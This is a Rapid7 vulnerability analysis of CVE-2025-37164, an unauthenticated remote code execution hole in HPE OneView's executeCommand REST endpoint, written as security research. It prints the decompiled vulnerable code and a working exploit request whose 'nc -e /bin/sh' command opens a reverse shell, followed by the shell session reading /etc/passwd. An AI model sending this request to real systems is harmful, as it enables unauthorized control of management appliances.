Rapid7
Threat Research

Rapid7 Analysis: CVE-2025-37164

|Last updated on Jun 16, 2026|7 min read

Overview

On December 16, 2025, Hewlett Packard Enterprise (HPE) published an advisory for CVE-2025-37164, a CVSS 10.0 vulnerability affecting HPE OneView. The vulnerability, which was reported to HPE by security researcher Nguyen Quoc Khanh, facilitates unauthenticated remote code execution on versions of HPE OneView before 11.0.

The CVE record, published by HPE, modestly states:

A remote code execution issue exists in HPE OneView.

Let’s set up a target in a VM and investigate this “issue” further.

Analysis

After setting up our target and downloading the HPE_OneView_CVE_37164_Z7550-98077.bin hotfix for CVE-2025-37164, we see that the patch adds the following line to the HTTP configuration file located at /etc/httpd/conf.d/crypto/dynamic-ssl.conf:

RewriteRule ^/rest/id-pools/executeCommand$ - [R=404,L]

Once we’ve mounted the VM’s hard disk, we can see that the file /ci/branding/hpe-tbird/api-docs/7200/en_US/api-metadata.xml describes this id-pools REST API.

              <api id="com.hp.ci.mgmt.guidpools.controllers.PoolController.executeCommand(HttpServletRequest,HttpServletResponse,ExecutableCommand,String,String,String)" method="PUT" uri="/rest/id-pools/executeCommand" internal-uri="/guidapp/rest/id-pools/executeCommand" public="false" no-cli="false" input-dto="com.hp.ci.mgmt.guidpools.guidserver.dto.ExecutableCommand" output-dto="com.hp.ci.mgmt.guidpools.guidserver.dto.ExecutableCommand">
                    <requestHeader default="en_US" required="true" dto="java.lang.String" name="Accept-Language">
                        <description default="true">
            The language code requested in the response. If a suitable match to
            the requested language is not available, en-US or the appliance locale is used.
        </description>
                    </requestHeader>
                    <requestHeader required="false" dto="java.lang.String" name="Auth">
                        <description default="true">
            Session authorization token obtained from <a href="rest:resource:/rest/login-sessions">logging in</a>.  If this header is
            not included or if the session-token is invalid, the response code will be 401 Unauthorized.
        </description>
                    </requestHeader>
                    <requestHeader required="true" dto="java.lang.String" name="Content-Type" required-value="application/json">
                        <description default="true">
            The data format sent in the request body. If the Content-Type header is not provided, application/octet-stream
            is assumed. Any value other than the required value will result in a response code of 415 Unsupported Media Type.
        </description>
                    </requestHeader>
                    <requestHeader required="false" dto="java.lang.String" name="If-None-Match">
                        <description default="true">
            The request is conditionally processed only if the current ETag for the resource does not match the ETag passed in this
            header. If the ETag specified in this header matches the resource's current ETag, the status code returned from the GET
            will be 304 Not Modified.
        </description>
                    </requestHeader>
                    <authInfo auth-type="NO_AUTH">
                        <description default="true">
            This API requires no authorization.
        </description>
                    </authInfo>
                </api>

Note the requestHeader required="false" dto="java.lang.String" name="Auth" snippet, which appears to indicate that authentication checks will not be enforced.

These pieces of information provide a clear lead to follow, so we decompile the application’s JAR files and search for the “executeCommand” string. In guidserver.jar!\com\hp\ci\mgmt\guidpools\controllers\PoolController, a controller class for the id-pools REST API is defined, the same one referenced in the new RewriteRule provided by the hotfix.

package com.hp.ci.mgmt.guidpools.controllers;

Import [..]

@Controller("PoolController")
@RequestMapping({"/id-pools"})
@ResourceType("/rest/id-pools")
[..]

Various RequestMapping-annotated methods are defined by the class, including the relevant-sounding executeCommand API endpoint. We again see indications that this API does not require that the user provide an authentication header: @RequestHeader(required = false) String auth.

   @RequestMapping(
        value = {"/executeCommand"},
        method = {RequestMethod.PUT}
    )
    @ResponseStatus(HttpStatus.OK)
    @ResponseBody
    @DocAuthSpecial(SpecialAuthType.NO_AUTH)
    public ExecutableCommand executeCommand(HttpServletRequest request, HttpServletResponse response, @RequestBody ExecutableCommand exeCmd, @RequestHeader(value = "If-None-Match",required = false) String eTag, @RequestHeader(value = "accept-language",defaultValue = "en_US") String locale, @RequestHeader(required = false) String auth) throws BaseException {
        LOGGER.info("Now executing the command {} as user trm7 ", new Object[]{exeCmd.getCmd()});
        boolean ret = this.runtimeExecutor.execute(exeCmd.getCmd());
        LOGGER.info("Completed executing the command {} as user trm7 and the status is {} ", new Object[]{exeCmd.getCmd(), ret});
        ExecutableCommand exe = new ExecutableCommand();
        exe.setCmd(exeCmd.getCmd());
        exe.setResult(ret);
        return exe;
    }

This method’s logic parses a PUT request’s JSON body as an ExecutableCommand object. This object is named exeCmd, and the command string to be executed originates from that object. The guidservermodel.jar!\com\hp\ci\mgmt\guidpools\guidserver\dto\ExecutableCommand class is depicted below.

package com.hp.ci.mgmt.guidpools.guidserver.dto;

import com.fasterxml.jackson.annotation.JsonTypeName;
import com.hp.ci.atlas.jsonschema.Description;
import com.hp.ci.mgmt.model.Resource;

@JsonTypeName("ExecutableCommand")
@Description("Defines an executable command resource, which contains a command string to be executed")
public class ExecutableCommand extends Resource {
    private String cmd;
    private boolean result;

    public ExecutableCommand() {
    }

    public boolean isResult() {
        return this.result;
    }

    public void setResult(boolean result) {
        this.result = result;
    }

    public String getCmd() {
        return this.cmd;
    }

    public void setCmd(String cmd) {
        this.cmd = cmd;
    }
}

The execute method is then called on the command string. This method is exactly what it sounds like; the Runtime.exec method is called to execute the provided command string.

package com.hp.ci.mgmt.guidpools.service;

import com.hp.ci.mgmt.logs.debug.DebugLog;
import java.io.IOException;
import org.springframework.context.annotation.Scope;
import org.springframework.stereotype.Service;

@Scope("singleton")
@Service("runtimeexecutor")
public class RuntimeExecutorService {
    private static final DebugLog LOGGER = new DebugLog("guid-app", RuntimeExecutorService.class);

    public RuntimeExecutorService() {
    }

    public boolean execute(final String command) {
        Runtime runtime = Runtime.getRuntime();

        try {
            final Process process = runtime.exec(command);
            Thread thread = new Thread() {
                public void run() {
                    try {
                        int returnCode = process.waitFor();
                        RuntimeExecutorService.LOGGER.info("Return code of command" + command + " = " + returnCode);
                    } catch (InterruptedException var2) {
                        InterruptedException exception = var2;
                        RuntimeExecutorService.LOGGER.warn("InterruptedException while waiting for process", exception);
                        Thread.currentThread().interrupt();
                    }

                }
            };
            thread.start();
            return true;
        } catch (IOException var5) {
            IOException exception = var5;
            LOGGER.warn("Error while execution of command " + command, exception);
            return false;
        }
    }
}

We’ll perform a PUT request that has a JSON body with the expected ExecutableCommand class structure. Surprisingly, the server responds with a ‘404’ status code.

image1_repeater.png

The advisory states that all unpatched HPE OneView versions below 11.0 should be vulnerable, so this is unexpected. After digging through online documentation, we discover that none of the ‘HPE OneView for VMs’ documentation–except documentation for branch 6.x–includes any mention of “id pools”, our feature of interest.

image2_v9.png

image3_v6.png

This is not aligned with what the HPE advisory stated. With more investigation, however, we find that the documentation for every version of ‘HPE OneView for HPE Synergy’ contains a section on the “id pools” feature. This indicates that VM editions of HPE OneView that are not running the 6.x version branch likely do not enable the vulnerable feature at all (even though it is present in the appliance’s code), while unpatched versions of ‘HPE OneView for HPE Synergy’ are likely all vulnerable.

image4_synergy.png

After setting up a new VM with a 6.x branch version of ‘HPE OneView for VMs’, the branch that documents the “id pools” feature, we perform our malicious request again.

PUT /rest/id-pools/executeCommand HTTP/1.1
Host: 192.168.181.132
accept-language: en_US
X-API-Version: 3800
Content-Type: application/json
Content-Length: 61

{
"cmd":"nc -e /bin/sh 192.168.181.129 1337",
"result":0
}

This time, the server returns a ‘200’ status code.

HTTP/1.1 200 OK
Date: Thu, 18 Dec 2025 20:03:49 GMT
Server: Apache
Content-Type: application/json;charset=utf-8
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
X-XSS-Protection: 1; mode=block
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
Content-Length: 155

{"type":"ExecutableCommand","uri":null,"category":null,"eTag":null,"created":null,"modified":null,"cmd":"nc -e /bin/sh 192.168.181.129 1337","result":true}

In our netcat listener, we observe that an interactive reverse shell has arrived. The execution context is a “Trusted RM Container” user, and we note that the SELinux context is unconfined.

$ nc -nlvp 1337
Listening on 0.0.0.0 1337
Connection received on 192.168.181.132 56992
id
uid=1063(trm3) gid=1063(trm3) groups=1063(trm3),1000(logs),1001(trmall),1002(trustedrm),1004(cryptogrp),1009(maintpwd),1050(jetty) context=system_u:system_r:unconfined_t:s0
pwd
/ci/jetty-trm3
ls -lahtr
total 12K
lrwxrwxrwx.  1 trm3 jetty   19 Dec 18 19:24 logs -> /ci/logs/jetty-trm3
drwxr-xr-x.  2 trm3 jetty   37 Dec 18 19:24 webapps
-rw-r--r--.  1 trm3 jetty 2.5K Dec 18 19:24 start.ini
-rw-r--r--.  1 root root     6 Dec 18 19:24 pid
drwxr-xr-x.  3 trm3 jetty   61 Dec 18 19:24 .
drwxr-xr-x. 40 root root  4.0K Dec 18 19:24 ..
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
chrony:x:998:996::/var/lib/chrony:/sbin/nologin
saslauth:x:1030:1030:Saslauthd user:/var/empty/saslauth:/sbin/nologin
rabbitmq:x:1031:1031:RabbitMQ messaging server:/var/lib/rabbitmq:/bin/bash
redis:x:1032:1032:Redis Server:/var/lib/redis:/sbin/nologin
hacluster:x:1033:1033:cluster user:/var/lib/heartbeat/cores/hacluster:/sbin/nologin
lldpd:x:1034:1034:Used by the lldpd daemon:/var/lib/lldpd:/sbin/nologin
pgbouncer:x:1035:1035:PgBouncer server:/var/lib/pgbouncer:/bin/bash
unbound:x:1076:1076:Unbound DNS resolver:/etc/unbound:/sbin/nologin
gluster:x:1077:1077:GlusterFS daemons:/run/gluster:/sbin/nologin
davfs2:x:1078:1078:User account for davfs2:/var/cache/davfs2:/sbin/nologin
jetty:x:1050:1050:Jetty Web Containers:/ci/jetty:/sbin/nologin
credential:x:1051:1051:Credential Web Container:/ci/data/credential:/sbin/nologin
backup:x:1052:1052:Backup Web Container:/ci/etc:/sbin/nologin
cluster:x:1053:1053:Cluster Web Container:/ci/bin:/sbin/nologin
startstop:x:1054:1054:Start/Stop Web Container:/ci/bin:/sbin/nologin
authz:x:1055:1055:AuthZ Web Container:/ci/etc:/sbin/nologin
kiosk:x:1056:1056:UI Kiosk User:/home/kiosk:/sbin/nologin
cert:x:1057:1057:Certs Web Container:/ci/bin:/sbin/nologin
lum:x:1058:1058:Local User Mgmt Web Container:/ci/bin:/sbin/nologin
maintenance:x:1060:1060:Maintenance Console Login:/home/maintenance:/ci/bin/maintenance
trm1:x:1061:1061:Trusted RM Container 1:/ci/etc:/sbin/nologin
trm2:x:1062:1062:Trusted RM Container 2:/ci/etc:/sbin/nologin
trm3:x:1063:1063:Trusted RM Container 3:/ci/etc:/sbin/nologin
trm4:x:1064:1064:Trusted RM Container 4:/ci/etc:/sbin/nologin
trm5:x:1065:1065:Trusted RM Container 5:/ci/etc:/sbin/nologin
trm6:x:1066:1066:Trusted RM Container 6:/ci/etc:/sbin/nologin
trm7:x:1067:1067:Trusted RM Container 7:/ci/etc:/sbin/nologin
support:x:1071:1006:Support User Access:/home/support:/sbin/nologin
pcp:x:1072:1072:Performance Co-Pilot:/var/lib/pcp:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
apache:x:48:48:Apache:/var/www:/sbin/nologin
qemu:x:107:107:qemu user:/:/sbin/nologin
tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
ident:x:98:98::/:/sbin/nologin
creds:x:1074:1074:Credential Webapp:/home/creds:/sbin/nologin
taskt:x:1073:1073:Taskt Webapp:/home/taskt:/sbin/nologin
radvd:x:75:75:radvd user:/:/sbin/nologin
ras:x:2012:2012:RAS Service:/home/ras:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
kioskdisplay:x:1068:1068:Kiosk Display User:/home/kioskdisplay:/sbin/nologin
cds:x:2013:2013:CDS Service:/home/cds:/sbin/nologin
pegasus:x:66:65:tog-pegasus OpenPegasus WBEM/CIM services:/var/lib/Pegasus:/sbin/nologin
cli:x:2002:1000:CLI User:/home/cli:/ci/bin/cli
hardwaresetup:x:2002:1000::/home/cli:/ci/bin/cli
HardwareSetup:x:2002:1000::/home/cli:/ci/bin/cli
hydra:x:2010:2010:Hydra SAN Service:/home/hydra:/sbin/nologin
fwdrivers:x:2001:2001:Firmware Drivers Web Container:/ci/etc/fwdrivers:/sbin/nologin
strm:x:2011:2011:StRM Service:/home/strm:/sbin/nologin

This confirms that we’ve successfully demonstrated unauthenticated remote code execution using CVE-2025-37164 against an HPE OneView target.

Based on our analysis, we suspect that only ‘HPE OneView for VMs’ version 6.x is vulnerable to CVE-2025-37164, whereas all unpatched versions of ‘HPE OneView for HPE Synergy’ are vulnerable to CVE-2025-37164. More clarification is needed from the vendor to confirm or deny this hypothesis. A Metasploit module for CVE-2025-37164 is available here.

Metasploitmodule

References

LinkedInFacebookXBluesky